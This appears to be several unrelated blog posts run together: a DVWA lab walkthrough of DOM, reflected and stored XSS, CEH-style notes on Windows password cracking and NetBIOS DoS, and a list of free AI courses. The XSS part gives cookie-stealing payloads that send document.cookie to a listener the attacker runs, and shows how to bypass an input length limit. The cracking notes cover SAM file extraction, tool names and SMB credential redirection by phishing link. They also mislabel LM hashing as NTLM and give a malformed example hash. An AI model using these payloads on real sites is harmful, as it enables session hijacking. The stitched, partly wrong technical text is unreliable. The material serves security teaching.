Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

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CEH: System Hacking, Cracking A Password, Understanding The LAN Manager Hash, NetBIOS DoS Attacks

Passwords are the key element of information require to access the system. Similarly, the first step is to access the system is that you should know how to crack the password of the target system. There is a fact that users selects passwords that are easy to guess. Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.

Cracking a Password

Passwords are stored in the Security Accounts Manager (SAM) file on a Windows system and in a password shadow file on a Linux system.

Manual password cracking involves attempting to log on with different passwords. The hacker follows these steps:

1. Find a valid user account (such as Administrator or Guest).
2. Create a list of possible passwords.
3. Rank the passwords from high to low probability.
4. Key in each password.
5. Try again until a successful password is found.

A hacker can also create a script file that tries each password in a list. This is still considered manual cracking, but it's time consuming and not usually effective.

A more efficient way of cracking a password is to gain access to the password file on a system. Most systems hash (one-way encrypt) a password for storage on a system. During the logon process, the password entered by the user is hashed using the same algorithm and then compared to the hashed passwords stored in the file. A hacker can attempt to gain access to the hashing algorithm stored on the server instead of trying to guess or otherwise identify the password. If the hacker is successful, they can decrypt the passwords stored on the server.

Understanding the LAN Manager Hash

Windows 2000 uses NT LAN Manager (NTLM) hashing to secure passwords in transit on the network. Depending on the password, NTLM hashing can be weak and easy to break. For example, let's say that the password is 123456abcdef . When this password is encrypted with the NTLM algorithm, it's first converted to all uppercase: 123456ABCDEF . The password is padded with null (blank) characters to make it 14 characters long: 123456ABCDEF__ . Before the password is encrypted, the 14-character string is split in half: 123456A and
BCDEF__ . Each string is individually encrypted, and the results are concatenated:

123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15

The hash is 6BF11E04AFAB197FF1E9FFDCC75575B15 .

Cracking Windows 2000 Passwords

The SAM file in Windows contains the usernames and hashed passwords. It's located in the Windows\system32\config directory. The file is locked when the operating system is running so that a hacker can't attempt to copy the file while the machine is booted to Windows.

One option for copying the SAM file is to boot to an alternate operating system such as DOS or Linux with a boot CD. Alternately, the file can be copied from the repair directory. If a system administrator uses the RDISK feature of Windows to back up the system, then a compressed copy of the SAM file called SAM._ is created in C:\windows\repair . To expand this file, use the following command at the command prompt:

C:\>expand sam._ sam

After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against the SAM file using a tool like L0phtCrack. A similar tool to L0phtcrack is Ophcrack.

Download and install ophcrack from http://ophcrack.sourceforge.net/

Redirecting the SMB Logon to the Attacker

Another way to discover passwords on a network is to redirect the Server Message Block (SMB) logon to an attacker's computer so that the passwords are sent to the hacker. In order to do this, the hacker must sniff the NTLM responses from the authentication server and trick the victim into attempting Windows authentication with the attacker's computer.

A common technique is to send the victim an email message with an embedded link to a fraudulent SMB server. When the link is clicked, the user unwittingly sends their credentials over the network.

SMBRelay

An SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle (MITM) attacks.

SMBRelay2

Similar to SMBRelay but uses NetBIOS names instead of IP addresses to capture usernames and passwords.

pwdump2

A program that extracts the password hashes from a SAM file on a Windows system. The extracted password hashes can then be run through L0phtCrack to break the passwords.

Samdump

Another program that extracts NTLM hashed passwords from a SAM file.

C2MYAZZ

A spyware program that makes Windows clients send their passwords as clear text. It displays usernames and their passwords as users attach to server resources.

NetBIOS DoS Attacks

A NetBIOS denial-of-service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS Name Service on a target Windows systems and forces the system to place its name in conflict so that the name can no longer be used. This essentially blocks the client from participating in the NetBIOS network and creates a network DoS for that system.

1. Start with a memorable phrase, such as "Maryhadalittlelamb"
2. Change every other character to uppercase, resulting in "MaRyHaDaLiTtLeLaMb"
3. Change a to @ and i to 1 to yield "M@RyH@D@L1TtLeL@Mb"
4. Drop every other pair to result in a secure repeatable password or "M@H@L1LeMb"

Now you have a password that meets all the requirements, yet can be "remade" if necessary.

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5 Free Online Courses To Learn Artificial Intelligence

We are living in the era of fourth industrial revolution(4IR), where Artificial intelligence has a significant role to play. This 4IR technology embedded within societies and even into the human body. From Computer enthusiasts to common people, everyone should be aware and learn this breakthrough technology.

We think about gigantic Robots from Transformers when we hear about Artificial Intelligence(AI) which is a fiction in the past but a fact today, capable of transforming the whole tech world. The field of AI consists of more than Robots such as personal assistants, self-driving cars, apprenticeship learning, behavior cloning and so on. To learn about this advanced technology, thanks to the online learning resources which offers great content to get started with artificial intelligence.

Here are the 5 free e-learning courses on Artificial Intelligence

1. UC Berkeley CS188 Intro to AI

Get started with UC Berkeley AI course, this course is absolutely for beginners who are unaware of Artificial intelligence. It doesn't need any prior computer knowledge to know about AI. UC Berkeley allows anyone to learn this course for free. This course is systematically presented and consists of the following:

• Course Schedule
• Complete sets of Lecture Slides and Videos
• Interface for Electronic Homework Assignments
• Section Handouts
• Specs for the Pacman Projects
• Source files and PDFs of past Berkeley CS188 exams
• Form to apply for edX hosted autograders for homework and projects (and more)
• Contact information

Aside from this, you can also browse the following courses as well from UC Berkeley that are part of AI course:

• Machine Learning: CS189, Stat154
• Intro to Data Science: CS194-16
• Probability: EE126, Stat134
• Optimization: EE127
• Cognitive Modeling: CogSci131
• Machine Learning Theory: CS281A, CS281B
• Vision: CS280
• Robotics: CS287
• Natural Language Processing: CS288

2. Artificial Intelligence: Principles and Techniques

This course is offered by Stanford with great content that includes topics, videos, assignments, projects, and exams. The whole course mainly focuses on the complex real-world problems and try to find similarity between web search, speech recognition, face recognition, machine translation, autonomous driving, and automatic scheduling. Here you will learn the foundational principles of AI and implement some the AI systems. The goal of this course is to help you tackle the real-world situations with the help of AI tools. So, it is the best for the beginner to get started with AI.

3. Learn with GOOGLE AI

Who will dislike the course from Google? absolutely no one. This company is one of the early adopters of AI has a lot to offer to learners. Learn with Google AI is an education platform for people at all experience levels, it is free to access and browse content. The education resources provided by Google is from the machine learning experts of the company. These resources are the collections of lessons, tutorials, and Hands-on exercises that help you start learning, building, and problem-solving.

4. MIT 6.S094: Deep Learning for Self-Driving Cars

This course gives the practical overview of Deep Learning and AI. It is the course for beginners, also for the people who are getting started with Machine Learning. The course also offers a lot of benefits to the experienced and advanced researchers in the field deep learning. This MIT's course takes people into the journey of Deep Learning with the applied theme of building Self-Driving cars. However, the course also offers slides and videos to engage the learners.

5. Fundamentals of Deep Learning for Computer Vision

This course is offered by Nvidia and Nvidia Deep learning Institute. Computer Vision is one of the disciplines of AI that acquire, analyze, process, and understand images. The course is completely free and everyone who is enthusiast about AI can access and learn the course. It is a hands-on course that able to provide basics of deep learning and deployment of neural networks. With this. you will also learn the following:

• Identify the ingredients required to start a Deep Learning project.
• Train a deep neural network to correctly classify images it has never seen before.
• Deploy deep neural networks into applications.
• Identify techniques for improving the performance of deep learning applications.
• Assess the types of problems that are candidates for deep learning.
• Modify neural networks to change their behavior.

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